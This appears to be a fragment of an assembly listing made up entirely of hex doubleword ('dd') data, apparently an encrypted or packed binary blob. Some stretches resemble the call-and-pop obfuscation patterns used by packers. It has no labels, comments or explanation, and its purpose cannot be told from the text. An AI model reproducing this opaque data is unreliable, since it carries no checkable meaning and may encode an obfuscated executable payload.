		dd 0E8D5375Ah, 909526Eh, 0E6890000h, 55C57831h,	9700876Ch
		dd 0D046F9B2h, 178538F1h, 0BC2D7932h, 2BC0E57Bh, 6C0520B4h
		dd 0AC456AF9h, 0EA87A839h, 88881977h, 4FC92A5Fh, 7FEC5726h
		dd 9C0DF05Ah, 0BC86DFBBh, 6E53C087h, 19FF8E5Eh,	0DECCC31Dh
		dd 4E0E8D6Fh, 1E9ABF2Fh, 0BC70FC23h, 5CB91D5h, 0FF3A0000h
		dd 697848AFh, 0D2AC59EDh, 64055B2Ah, 0B559D2F7h, 1553DE4h
		dd 558B9095h, 492CE6C3h, 0F09BF35Fh, 0C92A9D34h, 3E9643C6h
		dd 7252BC4Ah, 4527DD2Ch, 2D4CC867h, 0A46475BDh,	63B04663h
		dd 6E5BDD8Ch, 5936EF41h, 5B4Ah,	493D7300h, 2A29FE87h, 0A03187B0h
		dd 0CCC37E60h, 0BE54D0A7h, 25B404EBh, 0CCC37EE7h, 12F28353h
		dd 0D5CCC37Eh, 339FC252h, 0CAE99342h, 0D744657Bh, 0AA0EA37h
		dd 2B9A6C11h, 821A8E6Fh, 7A4A8C08h, 0A86DCFA9h,	0ED2A6728h
		dd 7083B08Ah, 0B554F34Fh, 77Ch,	98016D00h, 0A8000002h
		dd 7848AFFFh, 0AC5A1569h, 0A773C2D2h, 2A2111F6h, 7E2A8AC9h
		dd 0C6D42812h, 714B2D0Fh, 17C498C2h, 799C6680h,	0E9E8F292h
		dd 2E9D503Ah, 0F3B70F9Eh, 6C60D745h, 0C388BF5Dh, 6049DACCh
		dd 3786CBAAh, 0A434AB40h, 8E473381h, 25BBFAh, 0A4544F94h
		dd 25BB6AC0h, 47DB4A00h, 65F5A862h, 0EFDD84Ch, 53E0CA44h
		dd 2A196124h, 23C8ED63h, 450D28BCh, 997154C0h, 0D345FAC0h
		dd 996346D2h, 0BE6C8C18h, 726670A4h, 0DE3E4F1Dh, 19CCC304h
		dd 5A3AF7A6h, 415FB8Ah,	63D2CCC3h, 4DC3C4Dh, 0A41BCCC3h
		dd 49D51C0h, 59C8CCC3h,	9B08BF74h, 4C64657h, 0AE01CCC3h
		dd 4898F1Eh, 0FF4ECCC3h, 66124208h, 6F7718A1h, 0C5E07455h
		dd 0FF3B9216h, 3AAB4BAAh, 0B5348BAEh, 24680623h, 181CF70h
		dd 0C1A0724Bh, 0D6A77354h, 0E84F152h, 6A97E9Eh,	0AD9EB46Fh
		dd 59114FEh, 20B776DCh,	0CE65703h, 4D6A0D22h, 8C70E793h
		dd 0A8902B84h, 0B241FECCh, 0D5BC318Dh, 28118223h, 40B094Ch
		dd 0ECB20000h, 0EB29B87Ch, 2CCCC31Dh, 0BF8F7D9Ch, 8372B171h
		dd 787C9C2Dh, 0C4BBCCC3h, 6D19BD15h, 70E69E11h,	8034F951h
		dd 27C122EAh, 200A9A9Ch, 0E1C45413h, 6CD04408h,	0F7AFAEB7h
		dd 0CA80A534h, 71F0B46Bh, 8D30FEE3h, 0FAAE3E1Bh, 0B295D85Bh
		dd 0F36007BCh, 39A42ACEh, 5ACB87A8h, 6346D6CBh,	2703E6ACh
		dd 47A16D08h, 0A2FBDE8h, 82A734BBh, 71084C8h, 91F13975h
		dd 62AB3AFEh, 0F9CCC36Fh, 0D64B0231h, 168538F1h, 74755931h
		dd 0DCEDC3E6h, 0CCC36F3Ch, 0F16004FBh, 0CCC36F14h, 0D493A0AAh
		dd 48B6045h, 0CCC35888h, 0B1EB9F2Dh, 0B3FA7FF7h, 11819A3Ah
		dd 0C4E20F67h, 0D32B1520h, 0F0A0D5BBh, 0F0FFFFFEh, 8F739120h
		dd 0C1B4CCC3h, 493D9627h, 500235EAh, 0C1E67B65h, 33F5A409h
		dd 733821B2h, 63BF5FCCh, 72C7A54Ah, 6FAD3C8Ch, 0A8CCC33Ah
		dd 0E9AC66D5h, 0CCC33A2Ch, 384919B7h, 0CCC33AD8h, 0FECCA81Fh
		dd 0AC950641h, 0B0C191C7h, 0CCC33A50h, 0DD442097h, 0EDA06A4Fh
		dd 9D369954h, 0EED42E4h, 548EB21h, 56AAh, 0AFFF1300h, 15697848h
		dd 0B1D2AC5Ah, 5362A630h, 0C92A21CDh, 0EC4BB0Ah, 17E6CDAFh
		dd 2139DABBh, 0AF99C92Ah, 2B3E6190h, 224FCFD3h,	78000000h
		dd 0C328CCFCh, 1B3CA9CCh, 850FFEBFh, 0FFFFFD80h, 0AC6C7DCDh
		dd 6BCCC317h, 1B91094h,	7, 28F01A8h, 0ECA80000h, 6B0A5A7Fh
		dd 0F786D6F3h, 0CCC31D11h, 378567D6h, 0ECFCE576h, 9E745DCDh
		dd 3CDE5DDFh, 0A4358B68h, 0D2A734C3h, 3ADBB706h, 0C9270BDEh
		dd 4C0623BBh, 0AA6049D9h, 2154EBDFh, 6D8CA385h,	0CFD85742h
		dd 4A4Bh, 0AFFF7C00h, 0E8797848h, 9D6D25C7h, 0AC6C7DCDh
		dd 6BCCC31Dh, 1D070594h, 6DC0CCC3h, 3FE11A8Bh, 0F747D2A7h
		dd 273F26E6h, 6A0EE1C9h, 791CF649h, 0C9273F9Fh,	0F7B5613Dh
		dd 5309393Fh, 6BD8E286h, 0D869A788h, 0AF24CFh, 0EC950000h
		dd 15F96A7Fh, 4094C264h, 21C0B719h, 75DD8CB5h, 0F3D64061h
		dd 53D25627h, 733298BDh, 8B8918DEh, 4CCCC35Ch, 0DD400AF9h
		dd 0F8E6B4Ch, 0CCC363DCh, 0FDE27776h, 29BA3Bh, 0BEA331B0h
		dd 89DD71FAh, 0A94B5A6Ah, 5ED2A986h, 9D09D9EFh,	7CFA123Ah
		dd 0F44577DAh, 0BB3B04C7h, 0E775FCB8h, 5CF3F2C2h, 4622937Fh
		dd 9FC252D5h, 3A5F621Fh, 0CAE670D5h, 46Fh, 0DE5B8013h
		dd 1D96BB2Fh, 5FD4FD6Ah, 9E1B3EA8h, 0DF5479EFh,	4FDD22C3h
		dd 8A1E816Ah, 0CC43C2AFh, 0E8302EFh, 83D14029h,	2A5B12F2h
		dd 0E9BCD5C9h, 0D0597CECh, 1E9BBC2Dh, 5A7FEC47h, 5A9C0DF0h
		dd 0C31DC54Bh, 0A06071CCh, 67CCC31Dh, 3DFCB390h, 72C38FA8h
		dd 1064F683h, 0FFCCDDF3h, 3AD2A72Fh, 80E8F4Bh, 0C5C9270Ch
		dd 56B6C797h, 91C9270Ch, 0D3605ADEh, 72E03787h,	4332834Fh
		dd 3ADA4C6Dh, 583986F7h, 0D6E65519h, 272341C7h,	753786C9h
		dd 113F8C1Dh, 0BFAD743h, 7B98EC6Eh, 76F25465h, 4235D2ACh
		dd 0FDDA7372h, 0A9E1FEFh, 0EB8582Fh, 887FC92Ah,	0E6BA938h
		dd 0D9ACC92Ah, 0C539DC5Fh, 0B0C92A0Eh, 1D773C21h, 63h
		dd 86A334B5h, 2E8F69CCh, 0B2EBC3Dh, 1D14F061h, 1362CCC3h
		dd 846B4EDCh, 0AA473613h, 0B456CBEAh, 0C66F0F0Dh, 482CE358h
		dd 0D54B5CC9h, 0D45B1AF0h, 0D8B26144h, 0C326D735h, 80BFB9CCh
		dd 0BA7750C5h, 4756940Bh, 0CCC326C1h, 33108706h, 50C58D7Ch
		dd 0CCC326B7h, 396CC309h, 0A8EC85AAh, 0DAB09909h, 0EC38911Bh
		dd 0E2F2587Dh, 0A06A4FC3h, 3BAA2BCDh, 0E9D24616h, 6CAD27A1h
		dd 9DE84226h, 38AF9E55h, 0B424451Bh, 0B0743991h, 0C554553Bh
		dd 0D8D04E0h, 58CCC31Dh, 0BC2E436Dh, 0C65455D5h, 0A74637E3h
		dd 0F1440E33h, 0FF5E4237h, 0C292FFFFh, 0C32A6DB3h, 0AB3AAACCh
		dd 0CCC32A65h, 981CD3A2h, 9F7FEC31h, 406663A6h,	0F65C13DAh
		dd 0F4BDA237h, 0DFED1262h, 0A743E9CEh, 0FC692CD2h, 0EFAE64DBh
		dd 0C9277C2Dh, 7386BD8Fh, 0CFD80C4Ch, 4741h, 0AFFF6A00h
		dd 0B0697848h, 16D2A73Fh, 5ADE0397h, 49CC8679h,	0C9273FCFh
		dd 0E7F63AAAh, 0C9273F21h, 0EAA017E6h, 0CA80A53Bh, 3712846Bh
		dd 87BC8E5Bh, 0FF74F6F0h, 0D84F133Ch, 100B8CFh,	2CD80000h
		dd 0E718C086h, 0A108EC2Fh, 392CBC3Dh, 7CD685AAh, 0E576FFB9h
		dd 7E38ECFCh, 762CB081h, 6B6BC1ABh, 8415DD4Ah, 0CCC33F84h
		dd 7B3DEC43h, 8B476AFAh, 0EAA0891Ah, 3381A63Bh,	543E23B2h
		dd 0C09407E1h, 3FA36170h, 0C833CCC3h, 1475043Fh, 3E4F0142h
		dd 0CCC35CDEh, 35F7A619h, 0C363A99Ch, 0F941D2CCh, 0C35828E8h
		dd 9918EFCCh, 0BA77260Bh, 0D9B1960Bh, 0A367F4F5h, 0C358F212h
		dd 934235CCh, 20B276C7h, 24099F4Ch, 0E5566775h,	20D2A772h
		dd 6232A44Dh, 198E2FBDh, 95247C38h, 0D74D9921h,	9490E195h
		dd 52A86588h, 0AA3A8DD6h, 0F4B0950Bh, 0AA8F1D9Ch, 0EBCE5EC1h
		dd 1E517803h, 0B4CC8EDBh, 1B7h,	16E3385Bh, 55DE0397h, 971C45D2h
		dd 0D6A38610h, 179CC157h, 97056A7Bh, 0D246F9B2h, 148B3AF7h
		dd 56CB7A37h, 4B09B871h, 2A54DA3Ah, 21741DC9h, 0D0597CECh
		dd 0C59BBC2Dh, 951732A4h, 493D4FE6h, 0EFE8DFC0h, 0B220C47Ah
		dd 1EAF3DE2h, 0D2A726E5h, 957D30h, 0C9272604h, 8F1EEEA6h
		dd 0C9272689h, 765BCF4Eh, 8E6AD99Ch, 4B7487BCh,	40CFD836h
		dd 0DFh, 5C6D3D69h, 0CCC31DBCh,	70E5847Bh, 7E3AFB57h, 957D62F7h
		dd 0F55D8010h, 7356C0E1h, 0C352D6A7h, 0CCC32288h, 6B795EF3h
		dd 8415DD4Ah, 0CCC31984h, 7E3DEC43h, 0AF0EC4EDh, 4ADF4ECDh
		dd 9BEBAD65h, 1DF5D044h, 2FDBE958h, 83B77571h, 1C743062h
		dd 0DBFFD84Ch, 0F675F931h, 252EA332h, 14EBD2A7h, 74ABFB9Fh
		dd 4311C0E5h, 4DCB2332h, 0BD13E2D7h, 2BB9AC3Ch,	3AE94C06h
		dd 1F6B1F71h, 0A248119Ah, 0D7F26605h, 77FEBA7Bh, 993AFCE1h
		dd 0AFDB1F01h, 0AD952Dh, 422D0000h, 0F9691C95h,	33A45BD0h
		dd 7CEA9D16h, 0BB29DC55h, 60811D96h, 0CFA4891Fh, 0E9CC58h
		dd 40290E9Dh, 8E6B4CDDh, 0EC2CBD13h, 2BC92A57h,	7CEC338Ah
		dd 1DEB29B8h, 4E5FCCC3h, 0CCC31DCEh, 0E255B609h, 52C74633h
		dd 0EC29846Dh, 0DF05A7Fh, 5CFEBB9Ch, 21D5EB08h,	0A83DD650h
		dd 297F1D8Fh, 0D1E0B074h, 0D2AC3391h, 7A2BE756h, 0B42BC0E9h
		dd 0C5480227h, 1B1FD0A1h, 9120F0E0h, 9B192F73h,	527C1B4h
		dd 0C5EA7F2Eh, 728B92Ch, 654CDA4Bh, 7AC9F3ADh, 0F0B99E33h
		dd 8B1ADC4Dh, 9B192F85h, 715277E0h, 6F03CFBEh, 3, 0EC52FB1Eh
		dd 0FFE5481h, 28DDB59Ah, 4F3E94B9h, 9312F8DDh, 0B372D8FDh
		dd 0D352381Dh, 0F1B41E3Bh, 16974364h, 0E3F55D84h, 6C8068h
		dd 243C8900h, 81E18951h, 4C1h, 4E98100h, 87000000h, 895C240Ch
		dd 8951240Ch, 4C181E1h,	81000000h, 4E9h, 240C8700h, 242C895Ch
		dd 4EC81h, 4890000h, 3D0DB824h,	0C18905E9h, 2C8B5458h
		dd 4C48324h, 8904EC83h,	0CE892434h, 5E087589h, 56242C8Bh
		dd 0C681E689h, 4, 8704C683h, 8B5C2434h,	8956240Ch, 4C681E6h
		dd 81000000h, 4C6h, 24348700h, 0F89AE95Ch, 1928FFFBh, 4B93B82Bh
		dd 0C50305E9h, 4DBEE0FFh, 24976888h, 58C6535Ah,	0D81356CCh
		dd 891B4336h, 8D8D25BDh, 5E94CF8h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 6EC35343h, 0AA90BF66h, 10958D89h
		dd 0B58B05E4h, 5E422EDh, 2C6585C7h, 660805E4h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 43B0C3C3h, 89E1C3B0h, 0E431C1BDh, 999D8905h,	0C705E427h
		dd 0E430FD85h, 5, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 507B9DB7h, 85011314h
		dd 5E4075Dh, 31EDB5FFh,	858B05E4h, 5E42005h, 0FFD1BF0Fh
		dd 0E42A6195h, 3880F05h, 52000000h, 6A5AF5h, 10C195FFh
		dd 0C08B05E4h, 0FEB62CEBh, 7A4C9B76h, 98FF4887h, 7F94EAE4h
		dd 61AC4BA7h, 0CB99964Bh, 0E38D8DBFh, 665C3139h, 2A470B27h
		dd 508B536Fh, 0F308AC44h, 9D8D0B0Ch, 5E43279h, 39B8h, 0FD858900h
		dd 0E805E407h, 0
		dd 0D0558h, 3890000h, 39E9h, 0E6000000h, 0Dh dup(0E6000077h)
		dd 6CE9FF77h, 60000001h, 0BE9h,	0D3353700h, 0E9E589FEh
		dd 0B0D2991Fh, 0F26EDB81h, 0F9613977h, 4E37B58Dh, 6A05E9h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 0E979ABC3h, 0Fh, 4C715108h, 0D08FDDC8h, 5F0B1F8Bh, 60CF9D63h
		dd 9FC8BE66h, 9E960h, 5A880000h, 0F22B6887h, 0E996BF0Eh
		dd 0Fh,	62AC76E9h, 7C71E170h, 0DD3344F5h, 6100FEB8h, 58858D61h
		dd 6A05E745h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 0FF11C352h, 78A0FD0h, 0F000000h
		dd 18Ah, 0F8C3F800h, 0F5D98C66h, 0F04C1F6h, 5C84h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 4AC833C1h, 0B1D7605Eh, 8BFB8BF8h, 0AEC032CBh, 0CF2BFD75h
		dd 0F92BD9F7h, 8B49D78Bh, 0CD00EBD9h, 1013F20h,	74C00B00h
		dd 0C708D18h, 0CB8BFA8Bh, 490A75A6h, 1B8FA75h, 0EB000000h
		dd 0EB008B09h, 0B8E4h, 6ACF0000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 5E5AC352h
		dd 0CFB0FFF0h, 0EC921A22h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 18C35242h, 8E9C9C3h, 9F000000h, 0BE602FB0h
		dd 0C778C801h, 0E94E8085h, 1013F05h, 7E800h, 0EC2A0000h
		dd 0B96D6719h, 81665F04h, 811EB3F2h, 721CC7h, 0BB3CB500h
		dd 1C5Eh, 8BC1BF0Fh, 0DA816637h, 0EE817171h, 7ADF6AA4h
		dd 0FE953h, 17AD0000h, 7B47429Eh, 36C3EF2h, 7CAC9837h
		dd 0F6815AE6h, 35BC65C0h, 81D68B66h, 5C0970F6h,	28B0F21h
		dd 8A000000h, 78F56E8h,	0C8BF0F60h, 7E8h, 0CBFC3E00h, 23281070h
		dd 0B0BAF081h, 615E12A2h, 0B904EF83h, 22E34239h, 0F01EB83h
		dd 1685h, 0C7BF0F00h, 1DE9h, 0A09DDA00h, 0EB030007h, 1E12F53Ah
		dd 669A7A81h, 7CE9D18Bh, 0FEFFFFFFh, 38D0861Ah,	8D8D6F89h
		dd 5E95061h, 958D89F5h,	6A05E410h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 0F093C350h
		dd 8B66381Ah, 6585C7F0h, 8C05E42Ch, 0E9000069h,	10h, 20732C8h
		dd 55E828EFh, 33E0F1BBh, 0F95A12B9h, 30FD85C7h,	5E4h, 0EE80000h
		dd 15000000h, 0F1F0F009h, 0B48D448Fh, 3A4199FCh, 0F9BD8BC3h
		dd 5E05E41Ch, 240DB5FFh, 6A05E4h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 8BC74DC3h, 0E42085B5h
		dd 0EDE28105h, 0FF398E68h, 0E42A6195h, 51B58B05h, 6A05E425h
		dd 0C195FF00h, 8B05E410h, 8139EBC0h, 9BDDEB3h, 0BEBB3CE8h
		dd 0CF2282CAh, 0E70E2A04h, 0D82BDEB9h, 6A223FD8h, 1CEC7F13h
		dd 3144034Bh, 0DF7060E1h, 9CA288CCh, 7B7C0F50h,	0AC07ACD1h
		dd 8B024BDDh, 0F7756861h, 60EBh, 17h dup(0)
		dd 0BDE90000h, 0E900000Ah, 0AB1h, 0E9584068h, 2CB0E905h
		dd 0A368FFFBh, 0E905E959h, 0FFFB2CA6h, 0E95A1968h, 2C9CE905h
		dd 9D5EFFFBh, 33A76362h, 400911B4h, 9A5CC6C9h, 31A47E61h
		dd 0B70617B6h, 0D1F473E2h, 8B0A8549h, 3F5ED99Fh, 0D2F574E3h
		dd 290B742Bh, 8B54EE37h, 0C777A6FDh, 90BA7048h,	65E931DCh
		dd 0E5B7B5EAh, 0C2354F04h, 48BD36B8h, 9F1EDD45h, 0F176E238h
		dd 2DAF68DBh, 8ADE591Fh, 6943FC70h, 20E762D3h, 1EFB7CFAh
		dd 0B22DA0BAh, 0C0520426h, 0DC04F9E2h, 0B2067B22h, 12A621A8h
		dd 0F5C74008h, 0CA8D0FF8h, 0B27D2CE0h, 8C54366h, 0D18B48B5h
		dd 28EB54EEh, 3ABD3D65h, 0F775209Bh, 0B1512F10h, 997854EEh
		dd 0EEB0C6A4h, 18F52654h, 0FD0F5D9Eh, 0FD8FF7Eh, 0EC60C077h
		dd 0B9EA5973h, 0D86E3920h, 0CCD2EB61h, 0D1EB64D6h, 4116A962h
		dd 14C4D45Fh, 3F052Dh, 0D8500000h, 26047961h, 864F04E6h
		dd 0CC4B6055h, 9DE966D6h, 0D60D5FDEh, 64CBAA7Dh, 4E6191Bh
		dd 7E589B4Fh, 0B5DD276Bh, 18593283h, 4F05BA1Ah,	0CC00599Ah
		dd 44C3779Bh, 2C421577h, 37h, 0EB61D87Bh, 62D6CCD2h, 685528E5h
		dd 4F04E60Ah, 0CCC1965Bh, 44C3779Bh, 5DD49981h,	0C1FAD40Fh
		dd 59130720h, 0CCD68750h, 54E00EE6h, 0E068D0E6h, 0AD9E5567h
		dd 0CC73C4E0h, 28E562D6h, 0BB849441h, 4F04E5B9h, 52A7F06Bh
		dd 0EB8A63Fh, 0C83598CDh, 54E9C847h, 6BDCEC2Fh,	54E98305h
		dd 7FB6FA40h, 33F96604h, 13775h, 6DD8A000h, 5DD728EFh
		dd 0DF4F04E6h, 0B0088335h, 5B7A4E83h, 0AF28AEF4h, 7BF9261Dh
		dd 0F94F04E6h, 0BA315D36h, 5E3D9C03h, 4E60361h,	64AE614Fh
		dd 77C19D7Bh, 5607D078h, 7049C077h, 0D2829839h,	6814955h
		dd 61D80C4Dh, 0C79512C2h, 0CF4FC20Ch, 644FCB91h, 5B0C9A33h
		dd 14C4D45Fh, 23052Dh, 0D8500000h, 0CCD2EB61h, 4E671F3h
		dd 0AB00F34Fh, 0C3779BCCh, 42157744h, 0E867D6CCh, 37B663D0h
		dd 22h,	67D6CC66h, 0B663D0E8h, 0CF8E04C3h, 29E265D3h, 71F3CCA0h
		dd 0C24F04E6h, 9BCC5871h, 7744C377h, 6DD84215h,	514928EFh
		dd 4EB7609Bh, 4F04E5F8h, 3BC19B5Ch, 0CD9A3DBCh,	7049C077h
		dd 6DCC6E39h, 4E61210h,	0C047F24Fh, 8C4F7BE8h, 3BB168C3h
		dd 5F5B0CA2h, 2D14C4D4h, 3C05h,	0D54CA600h, 8AE777EBh
		dd 0D8C28B44h, 4524EB61h, 4E5FA78h, 0DCB97A4Fh,	71F3CCFFh
		dd 0F34F04E6h, 6DCCAB00h, 4E61210h, 0C344F24Fh,	0E4BB14C7h
		dd 44C377F3h, 2C421577h, 16h, 0EB61D87Bh, 71F3CCD2h, 0C24F04E6h
		dd 9BCC5871h, 7744C377h, 0A82C4215h, 7B000000h,	698E6CCh
		dd 0DDF26B2Ah, 487976C7h, 0F95287EFh, 2C54732h,	78F767A3h
		dd 9830AF2Eh, 0AB81EEABh, 0D24F05D2h, 0CD8601C8h, 0C05A6EA1h
		dd 580D900Bh, 0E760D6CCh, 69B51ED5h, 39526BE2h,	50D78298h
		dd 490ECB78h, 0D2EB61D8h, 0D45F5B0Ch, 52D14C4h,	34h, 0EB61D850h
		dd 71F3CCD2h, 284F04E6h, 0EC0056C2h, 400D15B2h,	6C65EC26h
		dd 46740D87h, 6DCC4415h, 49028535h, 6DC37700h, 0A0396AEDh
		dd 202C4215h, 7B000000h, 0D2EB61D8h, 0E671F3CCh, 71C24F04h
		dd 45C674AEh, 0AF3DB439h, 0CCF2DBB4h, 44C3779Bh, 0CC421577h
		dd 28E562D6h, 2FEE69EEh, 62E55248h, 0C6A49D56h,	264F04E5h
		dd 0AAB018F5h, 8DE4B22Ch, 0ED276E66h, 976D5B8h,	4F05DB2Bh
		dd 0FA8D4689h, 6AEE349Bh, 0DAB6B4EDh, 0C5364F05h, 0DB3F3D02h
		dd 7ABD4F05h, 47C67591h, 84366C75h, 0C382B10Bh,	5DB80E2h
		dd 5E3BFC4Fh, 5DB1111h,	0E14B54Fh, 5A04D14Eh, 9000B756h
		dd 3FBA2804h, 20A798ABh, 0EEFA7DFAh, 3B728BE7h,	0F0F253C8h
		dd 0C421C427h, 83C29611h, 5CAC0A2h, 0AFFB3C4Fh,	81AAE29h
		dd 0E3BA72BEh, 0FD7A9B87h, 0B7605B7Ah, 2CF35235h, 5CB51D3h
		dd 0B760D34Fh, 0E9F5C94Eh, 0AD2C7654h, 25BC9E2Ah, 58E9A739h
		dd 8BE53162h, 289FDDF0h, 0C9535F38h, 0B930A507h, 86B91344h
		dd 54E99AA0h, 0FE7EA42Bh, 1FF86B41h, 0BD864FB3h, 0C633F97Dh
		dd 34E11ADCh, 29B9h, 0C077DC00h, 6ECC7349h, 0EC4F04E6h
		dd 0B437A5FDh, 52B3FFDBh, 0DCA362E5h, 0E622007Dh, 51824F04h
		dd 4E61210h, 0F4A1924Fh, 0C07704D1h, 5870EB60h,	3749AFEBh
		dd 61A9C29Bh, 74219C2Ch, 4FB017F6h, 4F059CEDh, 7CC38C4Fh
		dd 0EEEE1603h, 1ABD7E54h, 9174F6AFh, 0F264E832h, 30C1009Fh
		dd 0F15A8F70h, 0D3008FB0h, 0A164D75Ah, 6379F079h, 0A42396F0h
		dd 0F87EE1EBh, 534F12BFh, 1428BF7h, 6A2E22A3h, 36h, 0EF6DD8ADh
		dd 0E665D728h, 0DC74F04h, 0DA1C03CAh, 3EB93CD6h, 563598CDh
		dd 0BC0C8F4Ch, 0A0003A9Eh, 0A596BD3Dh, 0AC2BAEE8h, 803BB1E9h
		dd 4F5E3B28h, 2488h, 6DD8DF00h,	40F228EFh, 0E60A6855h
		dd 0A96A4F04h, 0FBC49B74h, 4F04E685h, 0F36CEE34h, 0F45B9C26h
		dd 29AC2BAEh, 1782CBCh,	0CC7B0000h, 0E69664E6h,	0B31C4BC3h
		dd 35A300F8h, 396841B2h, 64D6CC6Eh, 0A962D1EBh,	5E6FEE6Dh
		dd 0D45F5B0Ch, 0ED2D14C4h, 0D456AF0Eh, 504C04E5h, 0E5C4A69Fh
		dd 8E404C04h, 0CF8F6915h, 96CB7850h, 0E66CCE37h, 7C84C04h
		dd 2A134Ah, 0D8BA0000h,	0CCDDEA60h, 4E671F3h, 0AB00F34Fh
		dd 9F43E6CCh, 64C785h, 77E7F057h, 157647C2h, 6CEB6EB4h
		dd 2C2C2AA3h, 7B000000h, 0DDEA60D8h, 0E671F3CCh, 0F2284F04h
		dd 7EF5C740h, 0B017D895h, 0AC69EE6Ah, 0CC9BCC2Fh, 0E612106Dh
		dd 0A1924F04h, 0A82FAAF4h, 77421513h, 6EE960C0h, 0D1B4E95Ah
		dd 61320FF9h, 6A1975ECh, 0A328E56Bh, 61D86E39h,	5B0CD2EBh
		dd 0E966D6CCh, 393660D3h, 6459AF95h, 5ED519F2h,	672D1504h
		dd 5811BF3Bh, 67DCEC21h, 3433AAh, 0D85A0000h, 0CCD2EB61h
		dd 2EEB64D6h, 0E604665Fh, 0AF604F04h, 779BCC1Eh, 0A98144C3h
		dd 0A1F2924Ch, 4553EBDh, 0D6CC4215h, 0D099E562h, 7D00359h
		dd 3F40h, 61D89700h, 6D4524EBh,	0E9A0433Eh, 3F3D624Ah
		dd 0BD4F05B8h, 0CC38917Ah, 4E671F3h, 9658C24Fh,	578D4F1Dh
		dd 7672E9D2h, 16A798CDh, 49056DCCh, 0B14D9F20h,	5C9108CFh
		dd 0C377DAF3h, 42157744h, 8746C177h, 0B81E22ABh, 62E8DF66h
		dd 0F1DBB4E9h, 5A0E94Eh, 868A544Fh, 5776F167h, 9ABD1A70h
		dd 8E103503h, 0C17794C5h, 0DC9B8746h, 7BD40F5Dh, 930DCB51h
		dd 5E73D1D1h, 0E5A89D6Ah, 0D2BF3EBDh, 939FEB86h, 17156AC9h
		dd 954F0598h, 2FADE9A2h, 0E4D429ACh, 94F05A1h, 15886DD5h
		dd 0FE4D9E2Eh, 5239FFFFh, 4F04E5CCh, 4E68B6Dh, 0E5CDAC4Fh
		dd 0A8F24F04h, 80E1AA25h, 4F04E59Eh, 4E5DD43h, 0E61C024Fh
		dd 9E570F04h, 6C44B91Ch, 0C814EBD2h, 4F38B507h,	0DC350ACDh
		dd 181ACFE1h, 0DCB796D7h, 4008621Fh, 2CDE1h, 0D843700h
		dd 5FD8908Ah, 0F077E238h, 88335EDh, 0A1D89D85h,	0DBCEE93Eh
		dd 22F89F1Ah, 889235B2h, 0DC4649C2h, 42F99C1Fh,	3E402203h
		dd 0CEBC54EEh, 49C07791h, 0B894673h, 36EA7B44h,	795154EEh
		dd 0CEBA7A04h, 7BF10DCBh, 0A86B17C0h, 0BF3EBDE5h, 0D95BA42Dh
		dd 5B54EEB4h, 9FE0A798h, 54EEB49Dh, 6C73DC1Fh, 0EEB48D93h
		dd 0ED6FD854h, 0C27DF02Ah, 8849B609h, 0EC5AD805h, 0AD85642Bh
		dd 72B370A6h, 4F05D9F0h, 624F8B4Ch, 0EA34E14Bh,	0FF2BEA6Dh
		dd 76EDFF7Ah, 5B100A9Dh, 0D9578820h, 944F053Eh,	89F659DBh
		dd 54EE8FA4h, 42583FF0h, 97731295h, 0A613A920h,	129542E9h
		dd 0FD718D46h, 714E1142h
		dd 5AD73FE8h, 9E844B8Ch, 0E5F7A0DFh, 0DABD3FE8h, 0C9AB947Bh
		dd 0F04F053Eh, 53EAD8Fh, 0D2CC0F4Fh, 8E4FB461h,	3554EE8Fh
		dd 0EF0B6956h, 0A66954EDh, 4F0EC1EDh, 0F6665463h, 0CA87472Ch
		dd 18A82F7Bh, 4E85D750h, 2BA07A1Dh, 1985EDB0h, 0BC22AFB2h
		dd 63E4F4A1h, 54EE5AFDh, 9A7DFFA8h, 0D777B8A5h,	0A1130F5Ah
		dd 0E11ADC26h, 0EADB8A34h, 4F04F788h, 0DE5CA1E4h, 5E4F04F6h
		dd 9077A89Dh, 24239EBAh, 0E1A47D27h, 57E9E9Ch, 70DD1E4Fh
		dd 32B06D58h, 0A9351253h, 8E4154E9h, 3E0C6229h,	32F3591Ch
		dd 16Ah, 0E5E863D4h, 9B3ABD3Dh,	484FCA8Fh, 0E0E760D2h
		dd 993CBB3Ah, 0F578318Ch, 0FCF5B7Ah, 0A7150D90h, 0F279A124h
		dd 0FEAD547Bh, 0EE3EA381h, 2C7B0154h, 40C1E6CCh, 1263D007h
		dd 4E88922Fh, 0CC89D34Ah, 5332B06Dh, 0EEC70112h, 9C5C4654h
		dd 3992411Bh, 736E7ABDh, 4D5538BAh, 88BB1188h, 920778CFh
		dd 295AD2BFh, 16C37AF1h, 6702AB6Ch, 882214E6h, 0F461C0h
		dd 0ED6E0000h, 3B75372h, 50190184h, 0EA6CB6D9h,	1B46E71h
		dd 0A7160786h, 0C1C443F2h, 7B1A9559h, 2FAE29AFh, 0C2C544F3h
		dd 191B643Bh, 9B54EE40h, 6FD8B6EDh, 50D52AEDh, 2C54EE37h
		dd 8C4BD1EBh, 0C237B024h, 199047C3h, 0DB591643h, 86C60B74h
		dd 0ADF55AD7h, 281BB128h, 35B9436Fh, 0C0352EBAh, 0E341BE1Dh
		dd 214F04E5h, 0AB9830ABh, 8C13FC3Fh, 22A52296h,	0D7F671F8h
		dd 8F0E894Bh, 2387C228h, 0B4421BD9h, 0AA3EBFDBh, 5578AD2Ah
		dd 0E9108CDh, 6027A014h, 41BEBC81h, 0FD3E4F05h,	27958D10h
		dd 584221A4h, 7803496h,	0F66486D2h, 0BBEC6775h,	8407B4DEh
		dd 0F3551901h, 0F392C742h, 8A4DCFB8h, 0EE9254B5h, 0D5F9054h
		dd 66E878FFh, 5615B8EDh, 22h, 28AF2B77h, 48CF8A90h, 748EC370h
		dd 0FD7642C5h, 0D6CCBB10h, 1ED5E760h, 7E84C834h, 420F3ED4h
		dd 0C477A029h, 6EED7F4Dh, 894FDDEFh, 2CA0BA0Eh,	520319B3h
